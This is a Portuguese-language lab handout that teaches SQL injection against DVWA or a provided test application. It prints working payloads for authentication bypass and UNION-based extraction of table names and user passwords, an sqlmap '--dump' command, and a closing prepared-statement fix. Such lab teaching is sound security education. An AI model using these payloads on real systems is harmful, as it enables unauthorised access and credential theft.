Lab 6.2: SQL Injection - Exploração Completa
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Entender como funciona a injeção SQL
- Fazer bypass de autenticação via injeção SQL
- Extrair dados de um banco de dados
- Utilizar o SQLMap para automação
- Proteger suas aplicações contra injeção SQL
Duração Estimada
40 minutos
Aplicação de Teste
Utilize o DVWA (Damn Vulnerable Web Application) ou a aplicação fornecida.
Técnica Básica
Bypass clássico de autenticação:
Username: admin' OR '1'='1' --
Password: (qualquer coisa)
Consulta gerada:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'
Resultado: Condição sempre verdadeira, login bem-sucedido!
Extração de Dados
Listar as tabelas:
' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --
Extrair dados:
' UNION SELECT username, password FROM users --
SQLMap Automatizado
sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump
Extração automática completa!
Proteção
Código seguro com prepared statements:
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 6